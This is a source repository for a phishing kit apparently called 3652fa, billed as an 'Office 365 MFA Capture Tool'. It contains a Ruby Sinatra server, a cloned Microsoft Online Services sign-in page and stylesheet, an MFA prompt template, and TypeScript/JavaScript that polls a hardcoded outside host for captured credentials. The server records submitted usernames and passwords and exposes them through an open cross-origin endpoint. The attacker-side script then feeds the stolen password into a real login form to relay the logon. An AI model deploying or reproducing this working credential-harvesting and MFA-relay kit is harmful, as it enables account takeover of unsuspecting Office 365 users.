├── .gitattributes ├── 3652fa.rb ├── Gemfile ├── LICENSE ├── README.md ├── public ├── 365admin.js ├── index.html └── logon.css ├── typescript ├── 365admin.tsx ├── tsconfig.json └── tslint.json └── views └── mfa.erb /.gitattributes: -------------------------------------------------------------------------------- 1 | public linguist-vendored 2 | -------------------------------------------------------------------------------- /3652fa.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'json' 4 | require 'sinatra' 5 | 6 | $values = 'none'.to_json 7 | 8 | set :bind, '0.0.0.0' 9 | 10 | get '/' do 11 | send_file 'public/index.html' 12 | end 13 | 14 | get '/captured' do 15 | # Alert: CORS * is near-universally a bad idea. 16 | # Being literally a hacking tool I'm going to allow it, but please note, in any other context, 17 | # this could be the dumbest code ever written. Please don't do this. 18 | headers 'Access-Control-Allow-Origin' => '*' 19 | 20 | $values 21 | end 22 | 23 | post '/capture' do 24 | $values = {login: params['UsernameForm'], 25 | passwd: params['PasswordForm'] }.to_json 26 | @email = params['UsernameForm'] 27 | erb :mfa 28 | end 29 | -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | gem 'rake' 3 | gem 'sinatra' 4 | gem 'puma' 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2017 2 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 3 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 4 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Office 365 MFA Capture Tool 2 | 3 | See my blog [here](https://lolware.net/2017/08/01/capturing-mfa-logons.html) for additional information relating to this toolkit. 4 | 5 | ## Installation 6 | 7 | ``` 8 | git clone git@github.com:technion/3652fa.git 9 | cd 3652fa 10 | bundle install 11 | ``` 12 | 13 | ## Starting application 14 | 15 | ./3652fa.rb 16 | 17 | ## Development 18 | 19 | ### Building Javascript 20 | 21 | This will require Typescript, because anything that makes Javascript less horrible is a good thing. Do not edit the .js file directly, edit the .tsx file and rebuild it: 22 | 23 | tsc 365admin.tsx --outfile ../public/365admin.js 24 | 25 | Be sure any changes to the file come up clean with tslint: 26 | 27 | tslint 365admin.tsx 28 | 29 | -------------------------------------------------------------------------------- /public/365admin.js: -------------------------------------------------------------------------------- 1 | var pollserver = function (url) { 2 | fetch(url + "/captured", {}).then(function (response) { 3 | if (!response.ok) { 4 | throw new Error("Network response returned " 5 | + response.status); 6 | } 7 | return response.json(); 8 | }).then(function (data) { 9 | console.log("Retreived data: " + data); 10 | if (data === "none") { 11 | setTimeout(pollserver(url), 3000); 12 | } 13 | else { 14 | // Credentials detected - submitting form 15 | console.log(JSON.stringify(data)); 16 | document.getElementById("cred_password_inputtext") 17 | .value = data.passwd; 18 | document.getElementById("credentials").submit(); 19 | } 20 | })["catch"](function (err) { 21 | console.error(err.message); 22 | }); 23 | }; 24 | // Set this URL to your base address 25 | var url = "http://lolware.net:4567"; 26 | setTimeout(pollserver(url), 3000); 27 | -------------------------------------------------------------------------------- /public/index.html: -------------------------------------------------------------------------------- 1 | 2 | Sign in to Microsoft Online Services 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 23 | 24 | 25 | 26 | 27 | 28 | 36 |
37 | Illustration for Microsoft Online Services 38 |
39 |
40 |
41 |
42 |
43 | 44 | 45 | 46 | 49 | 51 | 52 | 53 | 54 | 55 |
56 |
57 | 58 | 59 | 60 | 134 | 135 | 136 |
137 | 138 | 139 | 140 | -------------------------------------------------------------------------------- /public/logon.css: -------------------------------------------------------------------------------- 1 | /*Copyright (c) 2003-2006 Microsoft Corporation. All rights reserved.*/ 2 | 3 | @font-face { 4 | font-family: "Segoe UI WPC"; 5 | src: url("segoeui-regular.eot?#iefix") format("embedded-opentype"), 6 | url("segoeui-regular.ttf") format("truetype"); 7 | } 8 | 9 | @font-face { 10 | font-family: "Segoe UI WPC Semilight"; 11 | src: url("segoeui-semilight.eot?#iefix") format("embedded-opentype"), 12 | url("segoeui-semilight.ttf") format("truetype"); 13 | } 14 | 15 | @font-face { 16 | font-family: "Segoe UI WPC Semibold"; 17 | src: url("segoeui-semibold.eot?#iefix") format("embedded-opentype"), 18 | url("segoeui-semibold.ttf") format("truetype"); 19 | } 20 | 21 | body.rtl 22 | { 23 | text-align:right; 24 | direction:rtl; 25 | } 26 | 27 | body, .mouse, .twide, .tnarrow, form 28 | { 29 | height: 100%; 30 | width: 100%; 31 | margin: 0px; 32 | } 33 | 34 | .mouse, .twide 35 | { 36 | min-width: 650px; /* min iPad1 dimension */ 37 | min-height: 650px; 38 | position: absolute; 39 | top:0px; 40 | bottom:0px; 41 | left:0px; 42 | right:0px; 43 | } 44 | 45 | .sidebar 46 | { 47 | background-color:#0072C6; 48 | } 49 | 50 | .mouse .sidebar, .twide .sidebar 51 | { 52 | position:absolute; 53 | top: 0px; 54 | bottom: 0px; 55 | left: 0px; 56 | display: inline-block; 57 | width: 332px; 58 | } 59 | 60 | .tnarrow .sidebar 61 | { 62 | display: none; 63 | } 64 | 65 | .mouse .owaLogoContainer, .twide .owaLogoContainer 66 | { 67 | margin:213px auto auto 109px; 68 | text-align:left /* Logo aligns left for both ltr & rtl */ 69 | } 70 | 71 | .tnarrow .owaLogo 72 | { 73 | display: none; 74 | } 75 | 76 | .mouse .owaLogoSmall, .twide .owaLogoSmall 77 | { 78 | display: none; 79 | } 80 | 81 | .logonDiv 82 | { 83 | text-align:left; 84 | } 85 | 86 | .rtl .logonDiv 87 | { 88 | text-align:right; 89 | } 90 | 91 | .mouse .logonContainer, .twide .logonContainer 92 | { 93 | padding-top: 174px; 94 | padding-left: 464px; 95 | padding-right:142px; 96 | position:absolute; 97 | top:0px; 98 | bottom: 0px; 99 | left: 0px; 100 | right: 0px; 101 | text-align: center; 102 | } 103 | 104 | .mouse .logonDiv, .twide .logonDiv 105 | { 106 | position: relative; 107 | vertical-align:top; 108 | display: inline-block; 109 | width: 423px; 110 | } 111 | 112 | .tnarrow .logonDiv 113 | { 114 | margin:25px auto auto -130px; 115 | position: absolute; 116 | left: 50%; 117 | width: 260px; 118 | padding-bottom: 20px; 119 | } 120 | 121 | .twide .signInImageHeader, .tnarrow .signInImageHeader 122 | { 123 | display: none; 124 | } 125 | 126 | .mouse .signInImageHeader 127 | { 128 | margin-bottom:22px; 129 | } 130 | 131 | .twide .mouseHeader 132 | { 133 | display: none; 134 | } 135 | 136 | .mouse .twideHeader 137 | { 138 | display: none; 139 | } 140 | 141 | input::-webkit-input-placeholder 142 | { 143 | font-size:16px; 144 | color: #98A3A6; 145 | } 146 | 147 | input:-moz-placeholder 148 | { 149 | font-size:16px; 150 | color: #98A3A6; 151 | } 152 | 153 | .tnarrow .signInInputLabel, .twide .signInInputLabel 154 | { 155 | display: none; 156 | } 157 | 158 | .mouse .signInInputLabel 159 | { 160 | margin-bottom: 2px; 161 | } 162 | 163 | .mouse .showPasswordCheck 164 | { 165 | display: none; 166 | } 167 | 168 | .signInInputText 169 | { 170 | border:1px solid #98A3A6; 171 | color: #333333; 172 | border-radius: 0; 173 | -moz-border-radius: 0; 174 | -webkit-border-radius: 0; 175 | box-shadow: none; 176 | -moz-box-shadow: none; 177 | -webkit-box-shadow: none; 178 | -webkit-appearance:none; 179 | background-color: #FDFDFD; 180 | width:250px; 181 | margin-bottom:10px; 182 | box-sizing: content-box; 183 | -moz-box-sizing: content-box; 184 | -webkit-box-sizing: content-box; 185 | } 186 | 187 | .mouse .signInInputText 188 | { 189 | height: 22px; 190 | font-size: 12px; 191 | padding: 3px 5px; 192 | color: #333333; 193 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 194 | margin-bottom: 20px; 195 | } 196 | 197 | .twide .signInInputText, .tnarrow .signInInputText 198 | { 199 | border-color: #666666; 200 | height: 22px; 201 | font-size: 16px; 202 | color: #000000; 203 | font: $ShellInputTextTouchFont; 204 | padding: 7px 7px; 205 | font-family:'Segoe UI WPC Semibold','Segoe UI Semibold','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 206 | margin-bottom:20px; 207 | width: 264px; 208 | } 209 | 210 | .divMain 211 | { 212 | width: 444px; 213 | } 214 | 215 | .l 216 | { 217 | text-align:left; 218 | } 219 | .rtl .l 220 | { 221 | text-align:right; 222 | } 223 | .r 224 | { 225 | text-align:right; 226 | } 227 | .rtl .r 228 | { 229 | text-align:left; 230 | } 231 | 232 | table#tblMain 233 | { 234 | margin-top: 48px; 235 | padding: 0px; 236 | } 237 | table.mid 238 | { 239 | width: 385px; 240 | border-collapse:collapse; 241 | padding: 0px; 242 | color:#444444; 243 | } 244 | table.tblConn 245 | { 246 | direction:ltr; 247 | } 248 | td.tdConnImg 249 | { 250 | width: 22px; 251 | } 252 | td.tdConn 253 | { 254 | padding-top: 15px; 255 | } 256 | td#mdLft 257 | { 258 | background: url("lgnleft.gif") repeat-y; 259 | width: 15px; 260 | } 261 | td#mdRt 262 | { 263 | background: url("lgnright.gif") repeat-y; 264 | width: 15px; 265 | } 266 | td#mdMid 267 | { 268 | padding: 0px 45px; 269 | background: #ffffff; 270 | vertical-align: top; 271 | } 272 | td .txtpad 273 | { 274 | padding: 3px 6px 3px 0px; 275 | } 276 | .txt 277 | { 278 | padding: 3px; 279 | height: 2.2em; 280 | } 281 | input.btn 282 | { 283 | color: #ffffff; 284 | background-color: #eb9c12; 285 | border: 0px; 286 | padding: 2px 6px; 287 | margin: 0px 6px; 288 | text-align:center; 289 | } 290 | .btnOnFcs 291 | { 292 | color: #ffffff; 293 | background-color: #eb9c12; 294 | border: 0px; 295 | padding: 2px 6px; 296 | margin: 0px 6px; 297 | text-align:center; 298 | } 299 | .btnOnMseOvr 300 | { 301 | color: #ffffff; 302 | background-color: #f9b133; 303 | border: 0px; 304 | padding: 2px 6px; 305 | margin: 0px 6px; 306 | text-align:center; 307 | } 308 | .btnOnMseDwn 309 | { 310 | color: #000000; 311 | background-color: #f9b133; 312 | border: 0px solid #f9b133; 313 | padding: 2px 6px; 314 | margin: 0px 6px; 315 | text-align:center; 316 | } 317 | .nowrap 318 | { 319 | white-space:nowrap; 320 | } 321 | hr 322 | { 323 | height: 0px; 324 | visibility: hidden; 325 | } 326 | 327 | .wrng 328 | { 329 | color:#ff6c00; 330 | } 331 | .disBsc 332 | { 333 | color:#999999; 334 | } 335 | .expl 336 | { 337 | color:#999999; 338 | } 339 | .w100, .txt 340 | { 341 | width: 100%; 342 | } 343 | .txt 344 | { 345 | margin: 0px 6px; 346 | } 347 | .rdo 348 | { 349 | margin: 0px 12px 0px 32px; 350 | } 351 | body.rtl .rdo 352 | { 353 | margin: 0px 32px 0px 12px; 354 | } 355 | tr.expl td, tr.wrng td 356 | { 357 | padding: 2px 0px 4px; 358 | } 359 | tr#trSec td 360 | { 361 | padding: 3px 0px 8px; 362 | } 363 | /* language page specific styles */ 364 | td#tdLng 365 | { 366 | padding: 12px 0px; 367 | } 368 | td#tdTz 369 | { 370 | padding: 8px 0px; 371 | } 372 | select#selTz 373 | { 374 | padding: 0px; 375 | margin: 0px; 376 | } 377 | td#tdOptMsg 378 | { 379 | padding: 10px 0px; 380 | } 381 | td#tdOptChk 382 | { 383 | padding: 0px 0px 15px 65px; 384 | } 385 | td#tdOptAcc 386 | { 387 | vertical-align:middle; 388 | padding: 0px 0px 0px 3px; 389 | } 390 | select#selLng 391 | { 392 | margin: 0px 16px; 393 | } 394 | /* logoff page specific styles */ 395 | td#tdMsg 396 | { 397 | margin: 9px 0px 64px; 398 | } 399 | input#btnCls 400 | { 401 | margin: 3px 6px; 402 | } 403 | td.lgnTL, td.lgnBL 404 | { 405 | width: 456px; 406 | } 407 | td.lgnTM 408 | { 409 | background: url("lgntopm.gif") repeat-x; 410 | width: 100%; 411 | } 412 | td.lgnBM 413 | { 414 | background: url("lgnbotm.gif") repeat-x; 415 | width: 100%; 416 | } 417 | td.lgnTR, td.lgnBR 418 | { 419 | width: 45px; 420 | } 421 | table.tblLgn 422 | { 423 | padding: 0px; 424 | margin: 0px; 425 | border-collapse:collapse; 426 | width: 100%; 427 | } 428 | .signInBg 429 | { 430 | margin:0px; 431 | } 432 | 433 | .signInTextHeader 434 | { 435 | font-size:60px; 436 | color:#404344; 437 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 438 | margin-bottom:18px; 439 | white-space: nowrap; 440 | } 441 | 442 | .signInInputLabel 443 | { 444 | font-size:12px; 445 | color:#666666; 446 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 447 | } 448 | 449 | .signInCheckBoxText 450 | { 451 | font-size:12px; 452 | color:#6A7479; 453 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 454 | margin-top:16px; 455 | } 456 | 457 | .twide .signInCheckBoxText, .tnarrow .signInCheckBoxText 458 | { 459 | font-size: 15px; 460 | } 461 | 462 | .signInCheckBoxLink 463 | { 464 | font-size:12px; 465 | color:#0072C6; 466 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 467 | } 468 | 469 | .signInEnter 470 | { 471 | font-size:22px; 472 | color:#0072C6; 473 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 474 | margin-top:20px; 475 | } 476 | 477 | .twide .signInEnter 478 | { 479 | margin-top:17px; 480 | font-size: 29px; 481 | } 482 | 483 | .tnarrow .signInEnter 484 | { 485 | margin-top:2px; 486 | font-size: 29px; 487 | position: relative; 488 | float: left; 489 | left: 50%; 490 | } 491 | 492 | .signinbutton 493 | { 494 | cursor:pointer; 495 | display:inline 496 | } 497 | 498 | .mouse .signinbutton 499 | { 500 | padding: 0px 8px 5px 8px; 501 | margin-left: -8px; 502 | } 503 | 504 | .rtl .mouse .signinbutton 505 | { 506 | margin-right: -8px; 507 | } 508 | 509 | .tnarrow .signinbutton 510 | { 511 | position: relative; 512 | float: left; 513 | left: -50%; 514 | } 515 | 516 | .shellDialogueHead 517 | { 518 | font-size:29px; 519 | color:#0072C6; 520 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 521 | } 522 | 523 | .mouse .shellDialogueHead 524 | { 525 | line-height: 35px; 526 | margin-bottom: 10px; 527 | } 528 | 529 | .twide .shellDialogueHead, .tnarrow .shellDialogueHead 530 | { 531 | line-height:34px; 532 | margin-bottom: 12px; 533 | } 534 | 535 | .shellDialogueMsg 536 | { 537 | font-size:13px; 538 | color:#333333; 539 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 540 | line-height:18px; 541 | } 542 | 543 | .twide .shellDialogueMsg, .tnarrow .shellDialogueMsg 544 | { 545 | font-size: 15px; 546 | } 547 | 548 | .headerMsgDiv 549 | { 550 | width: 350px; 551 | margin-bottom: 22px; 552 | } 553 | 554 | .twide .headermsgdiv 555 | { 556 | margin-bottom: 30px; 557 | } 558 | 559 | .tnarrow .headermsgdiv 560 | { 561 | width: 260px; 562 | margin-bottom: 30px; 563 | } 564 | 565 | .signInError 566 | { 567 | font-size:12px; 568 | color:#C1272D; 569 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 570 | margin-top:12px; 571 | } 572 | 573 | .passwordError 574 | { 575 | color: #A80F22; 576 | font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 577 | line-height: 18px; 578 | } 579 | 580 | .mouse .passwordError 581 | { 582 | margin-top: 10px; 583 | font-size: 13px; 584 | } 585 | 586 | .twide .passwordError, .tnarrow .passwordError 587 | { 588 | margin-top: 12px; 589 | font-size: 15px; 590 | } 591 | 592 | .signInExpl 593 | { 594 | font-size:12px; 595 | color:#999999; 596 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 597 | margin-top:5px; 598 | } 599 | 600 | .signInWarning 601 | { 602 | font-size:12px; 603 | color:#C1272D; 604 | font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif; 605 | margin-top:5px; 606 | } 607 | 608 | input.chk 609 | { 610 | margin-right:9px; 611 | margin-left:0px; 612 | } 613 | 614 | .imgLnk 615 | { 616 | vertical-align: middle; 617 | line-height:2; 618 | margin-top: -2px; 619 | } 620 | 621 | .signinTxt 622 | { 623 | padding-left:11px; 624 | padding-right:11px; /* Needed for RTL, doesnt hurt to add this for LTR as well */ 625 | } 626 | 627 | .hidden-submit { 628 | border: 0 none; 629 | height: 0; 630 | width: 0; 631 | padding: 0; 632 | margin: 0; 633 | overflow: hidden; 634 | } 635 | 636 | .officeFooter 637 | { 638 | position:absolute; 639 | bottom: 33px; 640 | right: 45px; 641 | } 642 | 643 | .tnarrow .officeFooter 644 | { 645 | display: none; 646 | } 647 | -------------------------------------------------------------------------------- /typescript/365admin.tsx: -------------------------------------------------------------------------------- 1 | const pollserver = (url: string) => { 2 | fetch( 3 | url + "/captured", { }, 4 | ).then((response) => { 5 | if (!response.ok) { 6 | throw new Error("Network response returned " 7 | + response.status); 8 | } 9 | return response.json() as any; 10 | }).then((data) => { 11 | console.log("Retreived data: " + data); 12 | if (data === "none") { 13 | setTimeout(pollserver(url), 3000); 14 | } else { 15 | // Credentials detected - submitting form 16 | console.log(JSON.stringify(data)); 17 | (document.getElementById("cred_password_inputtext") as HTMLInputElement) 18 | .value = data.passwd; 19 | (document.getElementById("credentials") as HTMLFormElement).submit(); 20 | } 21 | }).catch((err) => { 22 | console.error(err.message); 23 | }); 24 | }; 25 | 26 | // Set this URL to your base address 27 | const url = "http://lolware.net:4567"; 28 | setTimeout(pollserver(url), 3000); 29 | -------------------------------------------------------------------------------- /typescript/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "module": "commonjs", 5 | "jsx": "react", 6 | "declaration": false, 7 | "strict": true, 8 | "removeComments": true, 9 | "noLib": false, 10 | "preserveConstEnums": true, 11 | "sourceMap": false, 12 | "typeRoots": ["./node_modules/@types"] 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /typescript/tslint.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "tslint:recommended", 3 | "defaultSeverity": "warning", 4 | "rules": { 5 | "max-classes-per-file": [true, 5], 6 | "ordered-imports": [false], 7 | "no-console": [false], 8 | "max-line-length": [false] 9 | } 10 | } 11 | 12 | -------------------------------------------------------------------------------- /views/mfa.erb: -------------------------------------------------------------------------------- 1 | 2 | Sign in to Microsoft Online Services 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 23 | 24 | 25 | 26 | 27 | 28 | 36 |
37 | Illustration for Microsoft Online Services 38 |
39 |
40 |
41 |
42 |
43 | 44 | 45 | 46 | 49 | 51 | 52 | 53 | 54 | 55 |
56 |
57 | 58 | 59 | 60 | 234 | 235 | 236 |
237 | 238 | 239 | 240 | --------------------------------------------------------------------------------